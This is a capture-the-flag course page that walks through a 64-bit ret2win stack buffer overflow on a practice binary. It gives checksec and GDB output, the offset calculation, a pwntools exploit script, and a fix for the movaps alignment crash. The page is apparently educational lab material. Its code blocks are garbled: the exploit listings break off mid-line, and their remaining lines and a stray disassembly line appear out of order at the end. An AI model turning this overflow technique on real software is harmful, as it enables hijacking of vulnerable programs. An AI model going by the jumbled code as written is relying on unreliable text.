Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. bof-practice-01
11 min read

Practice 1

Ready to try one on your own! This challenge doesn't print a copy of the stack, meaning you'll need to use GDB to find your padding.

If you're confident in your exploit and it's not working, jump to The MOVAPS Problem. We did not cover this, but it is an essential concept in 64-bit exploits.

Stuck? Open one hint at a time before reading the solution.

Hint 1
Start with checksec and the function list. Which protections are missing, and is there a function you'd rather be running?
Hint 2
There are two buffers. For each read(), look at what rsi holds just before the call: which buffer sits closest to the saved return address?
Hint 3
Break right before that read(), send a recognizable pattern, and measure from the start of the buffer to the saved return address (rbp+8).
Hint 4
Reaching win but crashing inside do_system? The stack has to be 16-byte aligned for movaps. One extra ret before win shifts it by 8 bytes.

The Solution

Let's get solving, shall we?

Checking Security

As always, we check the security of the binary:

$ checksec chall[*] './chall'    Arch:       amd64-64-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX enabled    PIE:        No PIE (0x400000)    Stripped:   No

The binary does not have protections, so ret2win is probably a good solution. We also notice that it is 64-bit, meaning that we have to treat it accordingly.

GDB Disassembly

Checking the functions list, we find a win we'll want to reach:

gdb
gef➤ info functionsAll defined functions:Non-debugging symbols:0x0000000000401000  _init0x0000000000401030  puts@plt0x0000000000401040  system@plt0x0000000000401050  read@plt0x0000000000401060  _start0x0000000000401090  _dl_relocate_static_pie0x00000000004010a0  deregister_tm_clones0x00000000004010d0  register_tm_clones0x0000000000401110  __do_global_dtors_aux0x0000000000401140  frame_dummy0x0000000000401146  win0x000000000040115c  login0x00000000004011c0  main0x00000000004011e4  _fini

We're going straight to login because we know the contents of win and main aren't relevant to us.

gdb
gef➤ disas loginDump of assembler code for function login:   0x000000000040115c <+0>:     push   rbp   0x000000000040115d <+1>:     mov    rbp,rsp   0x0000000000401160 <+4>:     sub    rsp,0x60   0x0000000000401164 <+8>:     lea    rax,[rip+0xea6]        # 0x402011   0x000000000040116b <+15>:    mov    rdi,rax   0x000000000040116e <+18>:    call   0x401030 <puts@plt>   0x0000000000401173 <+23>:    lea    rax,[rbp-0x30]   0x0000000000401177 <+27>:    mov    edx,0x46   0x000000000040117c <+32>:    mov    rsi,rax   0x000000000040117f <+35>:    mov    edi,0x0   0x0000000000401184 <+40>:    call   0x401050 <read@plt>   0x0000000000401189 <+45>:    lea    rax,[rip+0xe9e]        # 0x40202e   0x0000000000401190 <+52>:    mov    rdi,rax   0x0000000000401193 <+55>:    call   0x401030 <puts@plt>   0x0000000000401198 <+60>:    lea    rax,[rbp-0x60]   0x000000000040119c <+64>:    mov    edx,0x46   0x00000000004011a1 <+69>:    mov    rsi,rax   0x00000000004011a4 <+72>:    mov    edi,0x0   0x00000000004011a9 <+77>:    call   0x401050 <read@plt>   0x00000000004011ae <+82>:    lea    rax,[rip+0xe96]        # 0x40204b   0x00000000004011b5 <+89>:    mov    rdi,rax   0x00000000004011b8 <+92>:    call   0x401030 <puts@plt>   0x00000000004011bd <+97>:    nop   0x00000000004011be <+98>:    leave

The same "assembly dance" is happening in this binary. Let's go over this process:

  1. We know that main performs a call login to get inside this function. call does two things: (1) puts the return pointer, the instruction after call, onto the stack; and (2) jumps to the address of the called function.
  2. push rbp pushes the old base pointer onto the stack. This is done so that the base pointer can be restored later.
  3. mov rbp, rsp sets the base pointer to the current stack pointer. This is done so that the base pointer can be used as a reference to the stack.
  4. sub rsp, 0x60 allocates 0x60 bytes on the stack for local variables.

This means that after the assembly dance, our stack should look like this:

   |-- rsp
   v
[... | ... 0x60 bytes ... | base pointer | return pointer | ... ]

This time there are two buffers. login reads a username into [rbp-0x30] and a password into [rbp-0x60], each with a read() of 0x46 (70) bytes. The username buffer at [rbp-0x30] is the closer of the two to the return pointer, so that's the overflow we'll use. The password buffer at [rbp-0x60] is further away — a 70-byte read there can't reach the return pointer — so we'll just leave it empty.

Inputting in 64-bit

Since this is 64-bit, parameters are passed via the register. We know that read() takes three arguments: the input file descriptor, the address where our input is stored, and the number of bytes to write. We proved last binary that we are writing to the stack.

If we check the last data that was passed to rsi before the first read is called, this is where we write:

gdb
gef➤ disas login   0x0000000000401173 <+23>:    lea    rax,[rbp-0x30]   0x0000000000401177 <+27>:    mov    edx,0x46   0x000000000040117c <+32>:    mov    rsi,rax   0x000000000040117f <+35>:    mov    edi,0x0   0x0000000000401184 <+40>:    call   0x401050 <read@plt>

rsi is loaded with the address of rbp-0x30, meaning this is where we are writing.

Getting the Offset

Let's put a breakpoint right before that first read so we can inspect the stack:

gdb
gef➤ b *(login+40)Breakpoint 1 at 0x401184gef➤ run[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Please enter your username:Breakpoint 1, 0x0000000000401184 in login ()gef➤ x/gx $rbp+80x7fffffffe448: 0x00000000004011cegef➤ p/x $rsi$1 = 0x7fffffffe410gef➤ p/d ($rbp+8) - $rsi$2 = 56

The return pointer lives at $rbp+8 — it holds 0x4011ce, the instruction right after main's call login — and $rsi is where our input lands. The distance between them is 56 bytes.

This makes sense. We are writing at rbp-0x30, which is 48 bytes from the base pointer, plus we need to add 8 bytes for the old base pointer that was pushed on the stack, totaling 56 bytes.

Let's craft our exploit:

exploit.py
1from pwn import *
2
3p = process("./chall")
4
5payload = b"A" *

The first sendline fills the username read and overflows into the return pointer; the second feeds the (now harmless) password read. Running this produces the following output:

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 24328[*] Switching to interactive modePlease enter your username:Please enter your password:Thank You![*] Got EOF while reading in interactive$[*] Process './chall' stopped with exit code -11 (SIGSEGV)

Hmmm. This isn't working. We reached win (the program got past "Thank You!"), but the process died with a SIGSEGV instead of printing the flag. Something's not quite right.

The movaps Problem

Let's run the binary under gdb with that same payload to see where it dies:

gdb
gef➤ run < badinputProgram received signal SIGSEGV, Segmentation fault.0x00007ffff7e12d74 in do_system (line=0x402004 "cat flag.txt") at ../sysdeps/posix/system.c:148gef➤ bt#0  0x00007ffff7e12d74 in do_system (line=0x402004 "cat flag.txt") at ../sysdeps/posix/system.c:148#1  0x0000000000401159 in win ()#2  0x0000000000000a0a in ?? ()

Our payload successfully takes us to the right place — the backtrace shows we're inside do_system, called from win(). The crash happens on a movaps instruction deep inside do_system.

This is known as the movaps fault. It happens because movaps expects the stack to be 16-byte aligned. However, we diverted execution away from the standard execution flow, so there's no guarantee that the stack is aligned. We are writing 56 bytes plus an 8-byte address, which leaves the stack misaligned when system() runs, so movaps segfaults.

How can we fix this? We add 8 bytes to the payload that don't disturb anything. The standard solution is to divert to another return first: a lone ret nudges the stack by 8 bytes and then falls through to our real target. Let's find a ret to divert to. It doesn't matter which you pick, I randomly chose the one inside _init:

gdb
gef➤ disas _initDump of assembler code for function _init:   0x0000000000401000 <+0>:     sub    rsp,0x8   0x0000000000401004 <+4>:     mov    rax,QWORD PTR [rip+0x2fd5]        # 0x403fe0   0x000000000040100b <+11>:    test   rax,rax   0x000000000040100e <+14>:    je     0x401012 <_init+18>   0x0000000000401010 <+16>:    call   rax   0x0000000000401012 <+18>:    add    rsp,0x8   0x0000000000401016 <+22>:    retEnd of assembler dump.

The address of this return is 0x401016. Let's add this to our payload:

exploit.py
1from pwn import *
2
3p = process("./chall")
4
5g_ret = 0x401016

You'll notice that I label my variables based on what they are. f variables are functions, g variables are gadgets. More on what gadgets are when we get to ROP.

Running this:

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 24240[*] Switching to interactive modePlease enter your username:Please enter your password:Thank You!IFC{PL4C3H0LD3R_FL4G_H3R3!}[*] Process './chall' stopped with exit code 0[*] Got EOF while reading in interactive$

And we have our flag!

0x00000000004011bf <+99>: ret
End of assembler dump.
56
6payload += p64(0x401146)
7
8p.sendline(payload)
9p.sendline(b"")
10p.interactive()
6
f_win
=
0x401146
7
8payload = b"A" * 56
9payload += p64(g_ret)
10payload += p64(f_win)
11
12p.sendline(payload)
13p.sendline(b"")
14p.interactive()